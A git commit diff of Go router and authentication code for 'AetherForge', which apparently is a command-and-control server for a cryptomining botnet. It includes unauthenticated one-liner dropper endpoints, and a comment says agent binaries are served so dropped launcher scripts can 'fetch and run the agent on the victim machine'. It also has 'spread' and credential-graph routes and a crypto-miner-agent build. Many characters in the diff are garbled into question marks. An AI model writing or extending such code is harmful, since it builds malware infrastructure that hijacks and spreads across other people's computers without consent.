Add EventBridge policy fan-out for standalone degraded mode.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
This commit is contained in:
AetherForge
2026-06-07 10:10:16 -07:00
parent c12565c83d
commit f691270279
27 changed files with 1049 additions and 69 deletions

View File

@@ -27,7 +27,7 @@ import (
)
// authSessionCache avoids running bcrypt on every API request.
// Key: SHA-256(user+":"+password) hex value: expiry time.
// Key: SHA-256(user+":"+password) hex ? value: expiry time.
// Entries are valid for authCacheTTL after the last successful login.
// Bcrypt only runs on cache miss or expiry.
var (
@@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) {
func formatLoginBanner(creds map[string]string) string {
var b strings.Builder
b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
b.WriteString(" AetherForge Dashboard Login \n")
b.WriteString(" \n")
b.WriteString("\n????????????????????????????????????????????????????\n")
b.WriteString("? AetherForge ? Dashboard Login ?\n")
b.WriteString("? ?\n")
users := make([]string, 0, len(creds))
for user := range creds {
users = append(users, user)
@@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string {
sort.Strings(users)
for _, user := range users {
pass := creds[user]
fmt.Fprintf(&b, " Username : %-34s\n", user)
fmt.Fprintf(&b, " Password : %-34s\n", pass)
b.WriteString(" \n")
fmt.Fprintf(&b, "? Username : %-34s?\n", user)
fmt.Fprintf(&b, "? Password : %-34s?\n", pass)
b.WriteString("? ?\n")
}
b.WriteString(" Also saved in data/login-credentials.json \n")
b.WriteString(" Change passwords in Calibrate Users. \n")
b.WriteString("╚══════════════════════════════════════════════════╝\n")
b.WriteString("? Also saved in data/login-credentials.json ?\n")
b.WriteString("? Change passwords in Calibrate ? Users. ?\n")
b.WriteString("????????????????????????????????????????????????????\n")
return b.String()
}
@@ -395,7 +395,7 @@ func saveUser(username, password string) error {
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
// must not trigger that only bare browser navigations without these headers should.
// must not trigger that ? only bare browser navigations without these headers should.
func isSPAAuthRequest(r *http.Request) bool {
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
}
@@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
path := r.URL.Path
// Health check and one-liner installer endpoints are always open.
// NOTE: build download/artifact routes are intentionally NOT in this list
// NOTE: build download/artifact routes are intentionally NOT in this list ?
// they require fleet-secret or Basic Auth (see isDownload block below).
if path == "/api/v1/health" ||
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
@@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
// legitimately forged agents can call these endpoints.
// A missing or empty fleet secret is always rejected the server auto-
// A missing or empty fleet secret is always rejected ? the server auto-
// generates one at startup so this state should never occur in production.
if strings.HasPrefix(path, "/api/v1/agent/") {
fleetSecretForAgentPathsMu.RLock()
@@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
return
}
// Fast path skip bcrypt if this credential pair was recently validated.
// Fast path ? skip bcrypt if this credential pair was recently validated.
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
if !authCacheHit(user, pass) {
usersMu.RLock()
@@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
// Credential verified cache it for the next few minutes.
// Credential verified ? cache it for the next few minutes.
authCacheSet(user, pass)
}
@@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
AllowCredentials: false,
}))
// REST API auth only on /api/v1 (dashboard WS + static SPA stay open)
// REST API ? auth only on /api/v1 (dashboard WS + static SPA stay open)
r.Route("/api/v1", func(r chi.Router) {
r.Use(basicAuthMiddleware)
h := NewHandler(database)
@@ -654,6 +654,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
r.Post("/spread/policy-fanout-export", spreadHandler.ExportPolicyFanout)
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
}
if wsHub != nil {
@@ -680,7 +682,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
// Fleet secret rotation generates a new secret, saves config, kicks all agents.
// Fleet secret rotation ? generates a new secret, saves config, kicks all agents.
// Forged agents with the old secret will be rejected until re-forged.
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
if rotateSecretFn == nil {
@@ -734,11 +736,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
writeJSON(w, map[string]interface{}{"success": true})
})
// Deck backup authenticated full backup ZIP (config + DB + users)
// Deck backup ? authenticated full backup ZIP (config + DB + users)
backupH := NewBackupHandler(dataDir, version)
r.Get("/backup", backupH.ServeHTTP)
// Path Tracer on-demand WireGuard chain sessions
// Path Tracer ? on-demand WireGuard chain sessions
if pathTracerHandler != nil {
r.Post("/pathtrace/start", pathTracerHandler.Start)
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
@@ -751,7 +753,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
}
// Agent autonomy REST forged Go agents only (X-Fleet-Secret header).
// Agent autonomy REST ? forged Go agents only (X-Fleet-Secret header).
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
r.Post("/agent/decide", aiHandler.HandleDecide)
r.Post("/agent/report", aiHandler.HandleReport)
@@ -768,7 +770,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
}
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
// Public builds (also bypass auth in middleware listed here for chi routing)
// Public builds (also bypass auth in middleware ? listed here for chi routing)
if publicHandler != nil {
r.Get("/public/builds", publicHandler.ListBuilds)
r.Get("/public/download/{id}", publicHandler.Download)
@@ -777,6 +779,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
r.Get("/public/policy-snapshot/{token}", publicHandler.PolicySnapshot)
}
})
@@ -784,7 +787,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/ws/agent", wsHub.HandleAgentWS)
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
// One-liner remote install endpoints (unauthenticated URL knowledge is the gate)
// One-liner remote install endpoints (unauthenticated ? URL knowledge is the gate)
if dropperHandler != nil {
r.Get("/get", dropperHandler.ServeGet)
r.Get("/install.sh", dropperHandler.ServeSh)
@@ -792,7 +795,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/install.command", dropperHandler.ServeCommand)
}
// SUPP Seek agent download endpoints serve agent binaries so launcher scripts
// SUPP Seek agent download endpoints ? serve agent binaries so launcher scripts
// dropped by Seek Mode can fetch and run the agent on the victim machine.
// Unauthenticated (the drop URL itself is the secret).
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
@@ -897,8 +900,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
// exe so it works both from the USB bundle and from a compiled dev build.
//
// Filename convention (same as what the build pipeline produces):
// - windows crypto-miner-agent.exe
// - mac/linux crypto-miner-agent (no extension)
// - windows ? crypto-miner-agent.exe
// - mac/linux ? crypto-miner-agent (no extension)
// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
var agentBinarySearchDir = func() (string, error) {